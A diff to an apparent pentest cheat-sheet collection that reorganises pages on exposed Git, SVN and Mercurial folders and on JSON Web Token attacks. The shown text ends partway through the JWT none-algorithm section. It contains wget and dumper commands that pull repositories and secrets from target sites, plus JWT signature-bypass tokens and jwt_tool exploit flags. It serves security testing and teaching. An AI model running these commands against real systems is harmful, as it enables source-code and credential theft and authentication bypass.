+        * [git-dumper.py](#git-dumperpy)
+        * [diggit.py](#diggitpy)
+        * [GoGitDumper](#gogitdumper)
+        * [rip-git](#rip-git)
+        * [GitHack](#githack)
+        * [GitTools](#gittools)
+    * [Harvesting secrets](#harvesting-secrets)
+        * [noseyparker](#noseyparker)
+        * [trufflehog](#trufflehog)
+        * [Yar](#yar)
+        * [Gitrob](#gitrob)
+        * [Gitleaks](#gitleaks)
+* [References](#references)
+
+## Methodology
+
+The following examples will create either a copy of the .git or a copy of the current commit.
+
+Check for the following files, if they exist you can extract the .git folder.
+
+* `.git/config`
+* `.git/HEAD`
+* `.git/logs/HEAD`
+
+### Recovering file contents from .git/logs/HEAD
+
+* Check for 403 Forbidden or directory listing to find the `/.git/` directory
+* Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
+
+  ```powershell
+  0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000        clone: from https://github.com/fermayo/hello-world-lamp.git
+  15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000        commit: Initial.
+  26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000        commit: Whoops! Remove flag.
+  6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000        commit: Prevent directory listing.
+  ```
+
+* Access the commit using the hash
+
+  ```powershell
+  # create an empty .git repository
+  git init test
+  cd test/.git
+
+  # download the file
+  wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
+
+  # first byte for subdirectory, remaining bytes for filename
+  mkdir .git/object/26
+  mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
+
+  # display the file
+  git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
+      tree 323240a3983045cdc0dec2e88c1358e7998f2e39
+      parent 15ca375e54f056a576905b41a417b413c57df6eb
+      author Michael <michael@easyctf.com> 1489390329 +0000
+      committer Michael <michael@easyctf.com> 1489390329 +0000
+      Initial.
+  ```
+
+* Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
+
+    ```powershell
+    wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
+    mkdir .git/object/32
+    mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
+
+    git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
+        040000 tree bd083286051cd869ee6485a3046b9935fbd127c0        css
+        100644 blob cb6139863967a752f3402b3975e97a84d152fd8f        flag.txt
+        040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97        fonts
+        100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1        index.html
+        040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8        js
+    ```
+
+* Read the data (flag.txt)
+
+  ```powershell
+  wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
+  mkdir .git/object/cb
+  mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
+  git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
+  ```
+
+### Recovering file contents from .git/index
+
+Use the git index file parser <https://pypi.python.org/pypi/gin> (python3).
+
+```powershell
+pip3 install gin
+gin ~/git-repo/.git/index
+```
+
+Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.
+
+```powershell
+$ gin .git/index | egrep -e "name|sha1"
+name = AWS Amazon Bucket S3/README.md
+sha1 = 862a3e58d138d6809405aa062249487bee074b98
+
+name = CRLF injection/README.md
+sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
+```
+
+## Tools
+
+### Automatic recovery
+
+#### git-dumper.py
+
+* [arthaud/git-dumper](https://github.com/arthaud/git-dumper)
+
+```powershell
+pip install -r requirements.txt
+./git-dumper.py http://web.site/.git ~/website
+```
+
+#### diggit.py
+
+* [bl4de/security-tools/diggit](https://github.com/bl4de/security-tools/)
+
+```powershell
+./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
+./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
+```
+
+`-u` is remote path, where .git folder exists  
+`-t` is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (`cd /path/to/temp/folder && git init`)  
+`-o` is a hash of particular Git object to download
+
+#### GoGitDumper
+
+* [c-sto/gogitdumper](https://github.com/c-sto/gogitdumper)
+
+```powershell
+go get github.com/c-sto/gogitdumper
+gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
+git log
+git checkout
+```
+
+#### rip-git
+
+* [kost/dvcs-ripper](https://github.com/kost/dvcs-ripper)
+
+```powershell
+perl rip-git.pl -v -u "http://web.site/.git/"
+
+git cat-file -p 07603070376d63d911f608120eb4b5489b507692
+tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
+parent 15ca375e54f056a576905b41a417b413c57df6eb
+author Michael <michael@easyctf.com> 1489389105 +0000
+committer Michael <michael@easyctf.com> 1489389105 +0000
+
+git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
+```
+
+#### GitHack
+
+* [lijiejie/GitHack](https://github.com/lijiejie/GitHack)
+
+```powershell
+GitHack.py http://web.site/.git/
+```
+
+#### GitTools
+
+* [internetwache/GitTools](https://github.com/internetwache/GitTools)
+
+```powershell
+./gitdumper.sh http://target.tld/.git/ /tmp/destdir
+git checkout -- .
+```
+
+### Harvesting secrets
+
+#### noseyparker
+
+> [praetorian-inc/noseyparker](https://github.com/praetorian-inc/noseyparker) - Nosey Parker is a command-line tool that finds secrets and sensitive information in textual data and Git history.
+
+```ps1
+git clone https://github.com/trufflesecurity/test_keys
+docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest scan --datastore datastore.np ./test_keys/
+docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest report --color always
+noseyparker scan --datastore np.noseyparker --git-url https://github.com/praetorian-inc/noseyparker
+noseyparker scan --datastore np.noseyparker --github-user octocat
+```
+
+#### trufflehog
+
+> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
+
+```powershell
+pip install truffleHog
+truffleHog --regex --entropy=False https://github.com/trufflesecurity/trufflehog.git
+```
+
+#### Yar
+
+> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.
+
+```powershell
+go get github.com/nielsing/yar # https://github.com/nielsing/yar
+yar -o orgname --both
+```
+
+#### Gitrob
+
+> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
+
+```powershell
+go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
+export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
+gitrob [options] target [target2] ... [targetN]
+```
+
+#### Gitleaks
+
+> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
+
+* Run gitleaks against a public repository
+
+    ```powershell
+    docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
+    ```
+
+* Run gitleaks against a local repository already cloned into /tmp/
+
+    ```powershell
+    docker run --rm --name=gitleaks -v /tmp/:/code/  zricethezav/gitleaks -v --repo-path=/code/gitleaks
+    ```
+
+* Run gitleaks against a specific Github Pull request
+
+    ```powershell
+    docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
+    ```
+
+## References
+
+* [Gitrob: Now in Go - Michael Henriksen - January 24, 2024](https://michenriksen.com/blog/gitrob-now-in-go/)

Insecure Source Code Management/Mercurial.md

@@ -0,0 +1,23 @@
+# Mercurial
+
+> Mercurial  (also known as hg  from the chemical symbol for mercury) is a distributed version control system (DVCS) designed for efficiency and scalability. Developed by Matt Mackall and first released in 2005, Mercurial is known for its speed, simplicity, and ability to handle large codebases.
+
+## Summary
+
+* [Tools](#tools)
+    * [rip-hg.pl](#rip-hgpl)
+* [References](#references)
+
+## Tools
+
+### rip-hg.pl
+
+* [kost/dvcs-ripper/master/rip-hg.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl) - Rip web accessible (distributed) version control systems: SVN/GIT/HG...
+
+    ```powershell
+    docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
+    ```
+
+## References
+
+* [my-chemical-romance - siunam - Feb 13, 2023](https://siunam321.github.io/ctf/LA-CTF-2023/Web/my-chemical-romance/)

Insecure Source Code Management/README.md

@@ -1,255 +1,49 @@
-# Insecure source code management
+# Insecure Source Code Management
 
-- [GIT - Source code management](#git---source-code-management)
+> Insecure Source Code Management (SCM) can lead to several critical vulnerabilities in web applications and services. Developers often rely on SCM systems like Git and Subversion (SVN) to manage their source code versions. However, poor security practices, such as leaving .git and .svn folders in production environments exposed to the internet, can pose significant risks.
-  - [Github example with a .git](#github-example-with-a-git)
-  - [Recovering the content of .git/index](#recovering-the-content-of-gitindex)
-  - [Automatic way : diggit.py](#automatic-way--diggitpy)
-  - [Automatic way : GoGitDumper](#automatic-way-gogitdumper)
-  - [Automatic way : rip-git](#automatic-way--rip-git)
-  - [Automatic way : GitHack](#automatic-way--githack)
-  - [Harvesting secrets : trufflehog](#harvesting-secrets--trufflehog)
-  - [Harvesting secrets : Gitrob](#harvesting-secrets--gitrob)
-  - [Harvesting secrets : Gitleaks](#harvesting-secrets--gitleaks)
-- [SVN - Source code management](#svn---source-code-management)
-  - [SVN example (Wordpress)](#svn-example-wordpress)
-  - [Automatic way : svn-extractor](#automatic-way--svn-extractor)
-- [BAZAAR - Source code management](#bazaar---source-code-management)
-  - [Automatic way : rip-bzr](#automatic-way--rip-bzr)
-  - [Automatic way : bzr_dumper](#automatic-way--bzr_dumper)
-- [Leaked API keys](#leaked-api-keys)
 
-## GIT - Source code management
+## Summary
 
-The following examples will create either a copy of the .git or a copy of the current commit.
+* [Methodology](#methodology)
+    * [Bazaar](./Bazaar.md)
+    * [Git](./Git.md)
+    * [Mercurial](./Mercurial.md)
+    * [Subversion](./Subversion.md)
+* [Labs](#labs)
+* [References](#references)
 
-Check for the following files, if they exist you can extract the .git folder.
+## Methodology
 
-- .git/config
+Exposing the version control system folders on a web server can lead to severe security risks, including:
-- .git/HEAD
-- .git/logs/HEAD
 
-### Github example with a .git
+* **Source Code Leaks** : Attackers can download the entire source code repository, gaining access to the application's logic.
+* **Sensitive Information Exposure** : Embedded secrets, configuration files, and credentials might be present within the codebase.
+* **Commit History Exposure** : Attackers can view past changes, revealing sensitive information that might have been previously exposed and later mitigated.
 
-1. Check 403 error (Forbidden) for .git or even better : a directory listing
+The first step is to gather information about the target application. This can be done using various web reconnaissance tools and techniques.
-2. Git saves all informations in log file .git/logs/HEAD (try 'head' in lowercase too)
-    ```powershell
-    0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000        clone: from https://github.com/fermayo/hello-world-lamp.git
-    15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000        commit: Initial.
-    26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000        commit: Whoops! Remove flag.
-    6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000        commit: Prevent directory listing.
-    ```
-3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c,
-    ```powershell
-    # create a .git directory
-    git init test
-    cd test/.git
 
-    # download the file
+* **Manual Inspection** : Check URLs manually by navigating to common SCM paths.
-    wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
+    * Git: `http://target.com/.git/`
-    mkdir .git/object/26
+    * SVN: `http://target.com/.svn/`
-    mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
 
-    # display the content of the file
+* **Automated Tools** : Refer to the page related to the specific technology.
-    git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
-        tree 323240a3983045cdc0dec2e88c1358e7998f2e39
-        parent 15ca375e54f056a576905b41a417b413c57df6eb
-        author Michael <michael@easyctf.com> 1489390329 +0000
-        committer Michael <michael@easyctf.com> 1489390329 +0000
-        Initial.
-    ```
-4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
-    ```powershell
-    wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
-    mkdir .git/object/32
-    mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
 
-    git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
+Once a potential SCM folder is identified, check the HTTP response codes and contents. You might need to bypass `.htaccess` or Reverse Proxy rules.
-        040000 tree bd083286051cd869ee6485a3046b9935fbd127c0        css
-        100644 blob cb6139863967a752f3402b3975e97a84d152fd8f        flag.txt
-        040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97        fonts
-        100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1        index.html
-        040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8        js
-    ```
-5. Read the data (flag.txt)
-    ```powershell
-    wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
-    mkdir .git/object/cb
-    mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
-    git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
-    ```
 
-### Recovering the content of .git/index
+The NGINX rule below returns a `403 (Forbidden)` response instead of `404 (Not Found)` when hitting the `/.git` endpoint.
 
-Use the git index file parser, using python3 https://pypi.python.org/pypi/gin
+```ps1
-
+location /.git {
-```powershell
+  deny all;
-pip3 install gin
+}
-gin ~/git-repo/.git/index
 ```
 
-Recover name and sha1 hash for each files listed in the index, allowing us to re-use the previous method on the file.
+For example in Git, the exploitation technique doesn't require to list the content of the `.git` folder (`http://target.com/.git/`), the data extraction can still be conducted when files can be read.
 
-```powershell
+## Labs
-$ gin .git/index | egrep -e "name|sha1" 
-name = AWS Amazon Bucket S3/README.md
-sha1 = 862a3e58d138d6809405aa062249487bee074b98
 
-name = CRLF injection/README.md
+* [Root Me - Insecure Code Management](https://www.root-me.org/fr/Challenges/Web-Serveur/Insecure-Code-Management)
-sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
-```
- 
-
-
-### Automatic way : diggit.py
-
-```powershell
-./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
-./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
-
--u is remote path, where .git folder exists
--t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
--o is a hash of particular Git object to download
-```
-
-### Automatic way : GoGitDumper
-
-```powershell
-go get github.com/c-sto/gogitdumper
-gogitdumper -u http://urlhere.com/.git/ -o yourdecideddir/.git/
-git log
-git checkout
-```
-
-### Automatic way : rip-git
-
-```powershell
-perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/"
-
-git cat-file -p 07603070376d63d911f608120eb4b5489b507692  
-tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
-parent 15ca375e54f056a576905b41a417b413c57df6eb
-author Michael <michael@easyctf.com> 1489389105 +0000
-committer Michael <michael@easyctf.com> 1489389105 +0000
-
-git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
-```
-
-### Automatic way : GitHack
-
-```powershell
-git clone https://github.com/lijiejie/GitHack
-GitHack.py http://www.openssl.org/.git/
-```
-
-### Harvesting secrets : trufflehog
-
-> Searches through git repositories for high entropy strings and secrets, digging deep into commit history
-
-```powershell
-pip install truffleHog # https://github.com/dxa4481/truffleHog
-truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
-```
-
-### Harvesting secrets : Gitrob
-
-> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
-
-```powershell
-go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
-export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
-gitrob [options] target [target2] ... [targetN]
-```
-
-### Harvesting secrets - Gitleaks
-
-> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
-
-```powershell
-# Run gitleaks against a public repository
-docker run --rm --name=gitleaks zricethezav/gitleaks -v -r  https://github.com/zricethezav/gitleaks.git
-
-# Run gitleaks against a local repository already cloned into /tmp/
-docker run --rm --name=gitleaks -v /tmp/:/code/  zricethezav/gitleaks -v --repo-path=/code/gitleaks
-
-# Run gitleaks against a specific Github Pull request
-docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
-
-or
-
-go get -u github.com/zricethezav/gitleaks
-```
-
-## SVN - Source code management
-
-### SVN example (Wordpress)
-
-```powershell
-curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
-```
-
-1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
-    ```powershell
-    INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
-    ```
-2. Download interesting files
-    * remove \$sha1\$ prefix
-    * add .svn-base postfix
-    * use first two signs from hash as folder name inside pristine/ directory (94 in this case)
-    * create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
-
-### Automatic way : svn-extractor
-
-```powershell
-git clone https://github.com/anantshri/svn-extractor.git
-python svn-extractor.py –url "url with .svn available"
-```
-
-## BAZAAR - Source code management
-
-### Automatic way : rip-bzr.pl
-
-```powershell
-wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
-docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-git.pl -v -u  
-```
-
-### Automatic way : bzr_dumper
-
-```powershell
-git clone https://github.com/SeahunOh/bzr_dumper
-python3 dumper.py -u "http://127.0.0.1:5000/" -o source
-Created a standalone tree (format: 2a)                                                                                                                                                       
-[!] Target : http://127.0.0.1:5000/
-[+] Start.
-[+] GET repository/pack-names
-[+] GET README
-[+] GET checkout/dirstate
-[+] GET checkout/views
-[+] GET branch/branch.conf
-[+] GET branch/format
-[+] GET branch/last-revision
-[+] GET branch/tag
-[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
-[*] Finish
-
-$ bzr revert
- N  application.py
- N  database.py
- N  static/   
-```
-
-## Leaked API keys
-
-If you find any key , use the [keyhacks](https://github.com/streaak/keyhacks) from @streaak to verifiy them.
-
-Twilio example :
-
-```powershell
-curl -X GET 'https://api.twilio.com/2010-04-01/Accounts/ACCOUNT_SID/Keys.json' -u ACCOUNT_SID:AUTH_TOKEN
-```
 
 ## References
 
-- [bl4de, hidden_directories_leaks](https://github.com/bl4de/research/tree/master/hidden_directories_leaks)
+* [Hidden directories and files as a source of sensitive information about web application - Apr 30, 2017](https://github.com/bl4de/research/tree/master/hidden_directories_leaks)
-- [bl4de, diggit](https://github.com/bl4de/security-tools/tree/master/diggit)
-- [Gitrob: Now in Go - Michael Henriksen](https://michenriksen.com/blog/gitrob-now-in-go/)

Insecure Source Code Management/Subversion.md

@@ -0,0 +1,39 @@
+# Subversion
+
+> Subversion  (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.
+
+## Summary
+
+* [Tools](#tools)
+* [Methodology](#methodology)
+* [References](#references)
+
+## Tools
+
+* [anantshri/svn-extractor](https://github.com/anantshri/svn-extractor) - Simple script to extract all web resources by means of .SVN folder exposed over network.
+
+    ```powershell
+    python svn-extractor.py --url "url with .svn available"
+    ```
+
+## Methodology
+
+```powershell
+curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
+```
+
+1. Download the svn database from `http://server/path_to_vulnerable_site/.svn/wc.db`
+
+    ```powershell
+    INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
+    ```
+
+2. Download interesting files
+    * remove `$sha1$` prefix
+    * add `.svn-base` postfix
+    * use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
+    * create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
+
+## References
+
+* [SVN Extractor for Web Pentesters - Anant Shrivastava - March 26, 2013](http://blog.anantshri.info/svn-extractor-for-web-pentesters/)

JSON Web Token/README.md

@@ -4,16 +4,32 @@
 
 ## Summary
 
-- JWT Format
+- [Tools](#tools)
-- JWT Signature - None algorithm
+- [JWT Format](#jwt-format)
-- JWT Signature - RS256 to HS256
+    - [Header](#header)
-- Breaking JWT's secret
+    - [Payload](#payload)
+- [JWT Signature](#jwt-signature)
+    - [JWT Signature - Null Signature Attack (CVE-2020-28042)](#jwt-signature---null-signature-attack-cve-2020-28042)
+    - [JWT Signature - Disclosure of a correct signature (CVE-2019-7644)](#jwt-signature---disclosure-of-a-correct-signature-cve-2019-7644)
+    - [JWT Signature - None Algorithm (CVE-2015-9235)](#jwt-signature---none-algorithm-cve-2015-9235)
+    - [JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)](#jwt-signature---key-confusion-attack-rs256-to-hs256-cve-2016-5431)
+    - [JWT Signature - Key Injection Attack (CVE-2018-0114)](#jwt-signature---key-injection-attack-cve-2018-0114)
+    - [JWT Signature - Recover Public Key From Signed JWTs](#jwt-signature---recover-public-key-from-signed-jwts)
+- [JWT Secret](#jwt-secret)
+    - [Encode and Decode JWT with the secret](#encode-and-decode-jwt-with-the-secret)
+    - [Break JWT secret](#break-jwt-secret)
+- [JWT Claims](#jwt-claims)
+    - [JWT kid Claim Misuse](#jwt-kid-claim-misuse)
+    - [JWKS - jku header injection](#jwks---jku-header-injection)
+- [Labs](#labs)
+- [References](#references)
 
 ## Tools
 
-- [jwt_tool](https://github.com/ticarpi/jwt_tool)
+- [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) -  🐍 A toolkit for testing, tweaking and cracking JSON Web Tokens
-- [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)
+- [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C
-- [JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61)
+- [PortSwigger/JOSEPH](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) - JavaScript Object Signing and Encryption Pentesting Helper
+- [jwt.io](https://jwt.io/) - Encoder/Decoder
 
 ## JWT Format
 
@@ -31,8 +47,8 @@ UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
 
 ### Header
 
-Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
+Registered header parameter names defined in [JSON Web Signature (JWS) RFC](https://www.rfc-editor.org/rfc/rfc7515).
-"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
+The most basic JWT header is the following JSON.
 
 ```json
 {
@@ -41,6 +57,43 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
 }
 ```
 
+Other parameters are registered in the RFC.
+
+| Parameter | Definition                           | Description |
+|-----------|--------------------------------------|-------------|
+| alg       | Algorithm                            | Identifies the cryptographic algorithm used to secure the JWS |
+| jku       | JWK Set URL                          | Refers to a resource for a set of JSON-encoded public keys    |
+| jwk       | JSON Web Key                         | The public key used to digitally sign the JWS                 |
+| kid       | Key ID                               | The key used to secure the JWS                                |
+| x5u       | X.509 URL                            | URL for the X.509 public key certificate or certificate chain |
+| x5c       | X.509 Certificate Chain              | X.509 public key certificate or certificate chain in PEM-encoded used to digitally sign the JWS |
+| x5t       | X.509 Certificate SHA-1 Thumbprint)  | Base64 url-encoded SHA-1 thumbprint (digest) of the DER encoding of the X.509 certificate       |
+| x5t#S256  | X.509 Certificate SHA-256 Thumbprint | Base64 url-encoded SHA-256 thumbprint (digest) of the DER encoding of the X.509 certificate     |
+| typ       | Type                                 | Media Type. Usually `JWT` |
+| cty       | Content Type                         | This header parameter is not recommended to use |
+| crit      | Critical                             | Extensions and/or JWA are being used |
+
+Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
+"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
+
+| `alg` Param Value  | Digital Signature or MAC Algorithm | Requirements |
+|-------|------------------------------------------------|---------------|
+| HS256 | HMAC using SHA-256                             | Required      |
+| HS384 | HMAC using SHA-384                             | Optional      |
+| HS512 | HMAC using SHA-512                             | Optional      |
+| RS256 | RSASSA-PKCS1-v1_5 using SHA-256                | Recommended   |
+| RS384 | RSASSA-PKCS1-v1_5 using SHA-384                | Optional      |
+| RS512 | RSASSA-PKCS1-v1_5 using SHA-512                | Optional      |
+| ES256 | ECDSA using P-256 and SHA-256                  | Recommended   |
+| ES384 | ECDSA using P-384 and SHA-384                  | Optional      |
+| ES512 | ECDSA using P-521 and SHA-512                  | Optional      |
+| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional      |
+| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional      |
+| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional      |
+| none | No digital signature or MAC performed          | Required      |
+
+Inject headers with [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): `python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2`
+
 ### Payload
 
 ```json
@@ -53,6 +106,7 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
 ```
 
 Claims are the predefined keys and their values:
+
 - iss: issuer of the token
 - exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
 - iat: The time the JWT was issued. Can be used to determine the age of the JWT
@@ -61,55 +115,82 @@ Claims are the predefined keys and their values:
 - sub: subject of the token (rarely used)
 - aud: audience of the token (also rarely used)
 
-JWT Encoder – Decoder: `http://jsonwebtoken.io`
+Inject payload claims with [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): `python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3`
 
-## JWT Signature - None algorithm
+## JWT Signature
 
-JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
+### JWT Signature - Null Signature Attack (CVE-2020-28042)
 
-To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.
+Send a JWT with HS256 algorithm without a signature like `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.`
 
-However, this won't work unless you **remove** the signature
+**Exploit**:
 
-The following code is a basic test for a None algorithm.
+```ps1
-
+python3 jwt_tool.py JWT_HERE -X n
-```python
-import jwt
-import base64
-
-def b64urlencode(data):
-    return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
-
-print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
-    '.' + b64urlencode("{\"data\":\"test\"}") + '.'
 ```
 
+**Deconstructed**:
+
+```json
+{"alg":"HS256","typ":"JWT"}.
+{"sub":"1234567890","name":"John Doe","iat":1516239022}
+```
+
+### JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
+
+Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.
+
+- [jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61](https://github.com/jwt-dotnet/jwt/issues/61)
+- [CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT](https://auth0.com/docs/secure/security-guidance/security-bulletins/cve-2019-7644)
+
+```ps1
+Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
+Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=
+```
+
+### JWT Signature - None Algorithm (CVE-2015-9235)
+
+JWT supports a `None` algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
+
+None algorithm variants:
+
+- `none`
+- `None`
+- `NONE`
+- `nOnE`
+
